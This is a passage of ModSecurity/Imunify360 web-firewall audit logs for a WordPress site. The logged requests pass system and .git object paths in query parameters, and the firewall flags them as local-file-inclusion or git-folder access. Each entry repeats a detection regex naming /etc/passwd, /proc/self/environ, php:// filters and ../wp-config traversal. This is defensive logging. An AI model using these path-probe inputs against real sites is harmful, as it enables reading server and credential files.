\"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/fr/LC_MESSAGES/glib20.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":234,"p2":4562,"p3":0,"p4":0,"p5":778,"sr":166,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:03:29.051907 +0100","transaction_id":"abNwcMS9L92-qvnlzdy1zwAAAJA","remote_address":"57.141.20.37","remote_port":53268,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/usr/share/terminfo/a/alt4 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.37","X-Forwarded-Proto":"https","X-Request-Id":"6304ab75c23994e761750f52ac106e81","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"3146487"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"6304ab75c23994e761750f52ac106e81","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/a/alt4||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":182,"p2":3592,"p3":0,"p4":0,"p5":323,"sr":96,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:03:35.306341 +0100","transaction_id":"abNwdvlFIvnJgHRlHaWKRwAAARc","remote_address":"57.141.20.33","remote_port":52470,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/opt/php7.1/lib/php/build/ax_check_compile_flag.m4 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.33","X-Forwarded-Proto":"https","X-Request-Id":"f0b6347e22cc19a3eed0e015c05f35e5","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"3309778"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Upgrade":"h2,h2c","Connection":"Upgrade","Vary":"Accept-Encoding","X-Orig-Rid":"f0b6347e22cc19a3eed0e015c05f35e5","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/opt/php7.1/lib/php/build/ax_check_compile_flag.m4||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":197,"p2":6690,"p3":0,"p4":0,"p5":399,"sr":129,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:03:53.801969 +0100","transaction_id":"abNwiB2Dz2AA0AEEU8ra6AAAAEI","remote_address":"57.141.20.48","remote_port":38980,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?dir=/sftproot/htdocs/sivaco/.git/objects/09 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.48","X-Forwarded-Proto":"https","X-Request-Id":"df8b3588bc581e369e37906e6ebabeee","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4195143"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"df8b3588bc581e369e37906e6ebabeee","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?dir=/sftproot/htdocs/sivaco/.git/objects/09||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":302,"p2":6541,"p3":0,"p4":0,"p5":358,"sr":151,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:03:58.588904 +0100","transaction_id":"abNwjcS9L92-qvnlzdy2QQAAAJI","remote_address":"57.141.20.42","remote_port":52428,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/opt/php7.1/lib/php/PEAR/Packager.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.42","X-Forwarded-Proto":"https","X-Request-Id":"4332fbb3aa972cb73715daa4dad52ad4","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"983802"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"4332fbb3aa972cb73715daa4dad52ad4","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/opt/php7.1/lib/php/PEAR/Packager.php||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":381,"p2":7642,"p3":0,"p4":0,"p5":523,"sr":173,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:04:59.090473 +0100","transaction_id":"abNwyqRcIf1QVcQGR0mWAgAAAMo","remote_address":"57.141.20.28","remote_port":52464,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?rename=/usr/base/usr/share/terminfo/m/mime2a HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.28","X-Forwarded-Proto":"https","X-Request-Id":"df7442b2f4d43adb6e76aa4658d2369f","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6160800"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2422>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"df7442b2f4d43adb6e76aa4658d2369f","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/m/mime2a||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":201,"p2":4979,"p3":0,"p4":0,"p5":309,"sr":126,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:05:31.938302 +0100","transaction_id":"abNw66RcIf1QVcQGR0mWMwAAANI","remote_address":"57.141.20.40","remote_port":35092,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/20/9e609b4b64c8a543cf351212da05aaa81dd6fe HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.40","X-Forwarded-Proto":"https","X-Request-Id":"3c6cca4a46b2b4f3408c0a445f8052dc","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2261863"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"3c6cca4a46b2b4f3408c0a445f8052dc","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/organic-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/20/9e609b4b64c8a543cf351212da05aaa81dd6fe||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":220,"p2":6831,"p3":0,"p4":0,"p5":392,"sr":286,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:13:11.394131 +0100","transaction_id":"abNyth2Dz2AA0AEEU8rd9QAAAEM","remote_address":"57.141.20.9","remote_port":40174,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/c8/7d81881fe9dee0549ecb50049ab874836b9d72 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.9","X-Forwarded-Proto":"https","X-Request-Id":"6ea09bc5c7912d0a14ec7ab649c941c1","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"852725"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"6ea09bc5c7912d0a14ec7ab649c941c1","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/organic-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/c8/7d81881fe9dee0549ecb50049ab874836b9d72||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":296,"p2":7287,"p3":0,"p4":0,"p5":394,"sr":159,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:21:39.178392 +0100","transaction_id":"abN0sqRcIf1QVcQGR0meGAAAAMI","remote_address":"57.141.20.14","remote_port":60688,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/bd/92673a2a27ec09554febbc4ac167939c5dc827 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.14","X-Forwarded-Proto":"https","X-Request-Id":"08b6647c6152fcf398455a5dd63b0f74","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"1803308"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"08b6647c6152fcf398455a5dd63b0f74","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/organic-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/bd/92673a2a27ec09554febbc4ac167939c5dc827||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":261,"p2":6791,"p3":0,"p4":0,"p5":412,"sr":133,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:23:12.791157 +0100","transaction_id":"abN1EB2Dz2AA0AEEU8rhsAAAAEw","remote_address":"57.141.20.6","remote_port":60876,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/usr/share/terminfo/v/vt102-w HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.6","X-Forwarded-Proto":"https","X-Request-Id":"0735ab25db7a9edd36779d72931b2491","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4490484"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"0735ab25db7a9edd36779d72931b2491","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/v/vt102-w||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":324,"p2":7517,"p3":0,"p4":0,"p5":420,"sr":164,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:23:47.594416 +0100","transaction_id":"abN1M8S9L92-qvnlzdy-cwAAAIo","remote_address":"57.141.20.2","remote_port":35002,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?rename=/usr/base/usr/share/terminfo/t/tvi912b-mc-2p HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.2","X-Forwarded-Proto":"https","X-Request-Id":"2ee68549a23fcb21c5121440462c1f57","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"1966947"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2422>; rel=shortlink","Upgrade":"h2,h2c","Connection":"Upgrade","Vary":"Accept-Encoding","X-Orig-Rid":"2ee68549a23fcb21c5121440462c1f57","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/t/tvi912b-mc-2p||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":316,"p2":6188,"p3":0,"p4":0,"p5":309,"sr":179,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:24:13.314657 +0100","transaction_id":"abN1TaRcIf1QVcQGR0mfgQAAAMs","remote_address":"57.141.20.33","remote_port":58300,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/10/afb6f8d209b1c229f79881deb051df5491da6d HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.33","X-Forwarded-Proto":"https","X-Request-Id":"aca77c5e6fec2700c11cdf942e799d30","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"295773"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"aca77c5e6fec2700c11cdf942e799d30","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/organic-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/10/afb6f8d209b1c229f79881deb051df5491da6d||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":232,"p2":4235,"p3":0,"p4":0,"p5":372,"sr":125,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:24:28.001263 +0100","transaction_id":"abN1W_lFIvnJgHRlHaWTxQAAARg","remote_address":"57.141.20.31","remote_port":41840,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/aa/22359f41f8ee7923ecc4049fa0380118a5ec93 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.31","X-Forwarded-Proto":"https","X-Request-Id":"0d6bea9f39d082fad45de83ba787f308","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2655027"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"0d6bea9f39d082fad45de83ba787f308","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/organic-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/aa/22359f41f8ee7923ecc4049fa0380118a5ec93||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":304,"p2":6579,"p3":0,"p4":0,"p5":397,"sr":209,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
